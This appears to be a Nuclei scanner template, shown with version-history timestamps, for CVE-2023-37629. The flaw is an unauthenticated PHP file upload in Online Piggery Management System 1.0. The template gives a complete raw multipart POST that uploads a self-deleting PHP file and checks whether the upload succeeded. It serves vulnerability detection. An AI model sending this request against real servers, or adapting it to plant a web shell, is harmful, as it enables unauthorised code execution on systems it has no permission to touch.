2023-08-29 17:47:46 +00:00
id : CVE-2023-37629
2023-09-12 07:20:58 +00:00
2023-08-29 17:47:46 +00:00
info :
2023-09-12 07:20:58 +00:00
name : Online Piggery Management System v1.0 - Unauthenticated File Upload
2023-08-30 04:19:07 +00:00
author : Harsh
2023-08-29 17:47:46 +00:00
severity : critical
description : |
Online Piggery Management System 1.0 is vulnerable to File Upload. An unauthenticated user can upload a php file by sending a POST request to add-pig.php.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could result in unauthorized access to the system, data leakage, or even complete compromise of the affected server.
2023-08-29 17:47:46 +00:00
reference :
- https://www.exploit-db.com/exploits/51598
- https://nvd.nist.gov/vuln/detail/CVE-2023-37629
2023-10-14 11:27:55 +00:00
- https://www.sourcecodester.com/php/11814/online-pig-management-system-basic-free-version.html
2024-01-29 17:11:14 +00:00
- https://github.com/1337kid/Piggery_CMS_multiple_vulns_PoC
2023-08-30 02:54:05 +00:00
classification :
2023-08-29 17:47:46 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2023-37629
cwe-id : CWE-434
2024-01-29 17:11:14 +00:00
epss-score : 0.13221
2024-03-23 09:28:19 +00:00
epss-percentile : 0.95417
2023-10-14 11:27:55 +00:00
cpe : cpe:2.3:a:simple_online_piggery_management_system_project:simple_online_piggery_management_system:1.0:*:*:*:*:*:*:*
2023-08-29 17:47:46 +00:00
metadata :
verified : true
2023-09-27 15:51:13 +00:00
max-request : 1
2023-10-14 11:27:55 +00:00
vendor : simple_online_piggery_management_system_project
product : simple_online_piggery_management_system
2024-01-14 09:21:50 +00:00
tags : cve2023,cve,fileupload,rce,opms,intrusive,simple_online_piggery_management_system_project
2023-08-29 17:47:46 +00:00
2024-04-15 11:26:37 +00:00
variables :
string : "CVE-2023-37629"
2023-08-29 17:47:46 +00:00
http :
- raw :
- |
POST /pig/add-pig.php HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=---------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
2023-09-12 07:20:58 +00:00
2023-08-29 17:47:46 +00:00
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition : form-data; name="pigno"
pig-fms-100
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition : form-data; name="weight"
65465
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition : form-data; name="arrived"
2023-09-15 17:09:22 +00:00
{{date_time("%Y-%M-%D")}}
2023-08-29 17:47:46 +00:00
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition : form-data; name="gender"
female
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition : form-data; name="status"
active
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition : form-data; name="breed"
2
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition : form-data; name="remark"
4fwefwe
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
2023-09-15 17:09:22 +00:00
Content-Disposition : form-data; name="pigphoto"; filename="{{rand_base(5)}}".php"
2023-08-29 17:47:46 +00:00
Content-Type : application/x-php
2024-04-15 11:26:37 +00:00
<?php echo md5("{{string}}");unlink(__FILE__);?>
2023-08-29 17:47:46 +00:00
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition : form-data; name="submit"
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP--
matchers :
- type : dsl
dsl :
- 'status_code == 302'
- 'contains(content_type, "text/html")'
- 'contains(body, "successfully created")'
condition : and
2024-04-23 10:06:08 +00:00
# digest: 4a0a00473045022059a2c7c448168f275b677d59ae6772e136b5cae38b3de5aec573a0498d7353b5022100b9e76c5236c7c11bb720146bb88b08f7f6b7945adc1c103571628437c4f2262e:922c64590222798bb761d5b6d8e72950